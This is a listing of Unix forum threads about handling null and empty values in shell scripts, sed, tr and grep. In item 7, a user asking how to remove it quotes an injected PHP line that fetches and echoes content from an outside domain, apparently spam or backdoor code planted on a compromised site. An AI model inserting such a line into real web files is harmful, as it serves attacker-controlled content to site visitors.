10 More Discussions You Might Find Interesting
1. Linux
I am getting some values from a file and putting them in an array..but the null strings are not getting passed to the array. So during printing the elements ,the null string is not showing in the output. during array size calculation it is also excluding null.Please let me know how to do it.
# cat... (2 Replies)
Discussion started by: millan
2 Replies
2. Shell Programming and Scripting
I kind of found out the hard way that I am not able to manipulate the null value, the long silence that happens when there is no value returned.
I am looking for PIDs, and when there is no PID return, I wanted to handle this special scenario.
Here is my script.
#!/bin/bash
LAN_VARIABLE=... (7 Replies)
Discussion started by: lan123
7 Replies
3. Shell Programming and Scripting
I have a string like
In this string I want to delete both "." and ":", means I want the output as:
How can I do that using "tr" or any other such command? (6 Replies)
Discussion started by: ash.g
6 Replies
4. Shell Programming and Scripting
Dear All,
I have the following input file. I want to replace data with null values.
I/P File:
9022334455|2008-12-06 06:10:21|2|Error@@@|esoo8erp|
9024334432|2008-12-06 08:40:59|6|Error@@@|6y2o8e6r|
O/P File:
9022334455||2||esoo8erp|
9024334432||6||6y2o8e6r|
... (4 Replies)
Discussion started by: hanu_oracle
4 Replies
5. Shell Programming and Scripting
Hello,
I would assume the expression ^$ should match a null string. Yet when I run:
echo -n | sed 's/^$/nullstring/'
I get no output.
Can anyone tell me why? (6 Replies)
Discussion started by: Allasso
6 Replies
6. UNIX for Dummies Questions & Answers
Hi everybody,
How to add null values in unix file?
This is what was asked to me in an interview. (4 Replies)
Discussion started by: sachin.gangadha
4 Replies
7. Shell Programming and Scripting
Hello,
I need a script or one liner possible in perl or awk ( as sed shows error )
I want to replace
<?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER);?>
with blank or null
1) in a file
2) in many directories recursively. (3 Replies)
Discussion started by: fed.linuxgossip
3 Replies
8. Shell Programming and Scripting
Hi,
I need to check for value not equal (<>) to 21 and not equal empty or null values.
Please modify this script
if
then
echo "$VALUE,$BSC_NAME,$BSC_ID" > $OUT_FILE/power_up.out
end if
TQ (5 Replies)
Discussion started by: doer
5 Replies
9. Shell Programming and Scripting
Hi,
If, in a text file a string is expected at a certain fixed position(for eg at position 5 or from 5-10 on every line)
how to check whether data is present on that position or not?
Thnx in advance (6 Replies)
Discussion started by: misenkiser
6 Replies
10. UNIX for Dummies Questions & Answers
Does anyone know how to use grep/egrep to find a string that contains a null character?
i.e.: the string looks like this: null0001nullN
well I want to be able to : grep '0001N'
is there a wildcard character or something that I can put in the grep to include the nulls? (3 Replies)
Discussion started by: weerich
3 Replies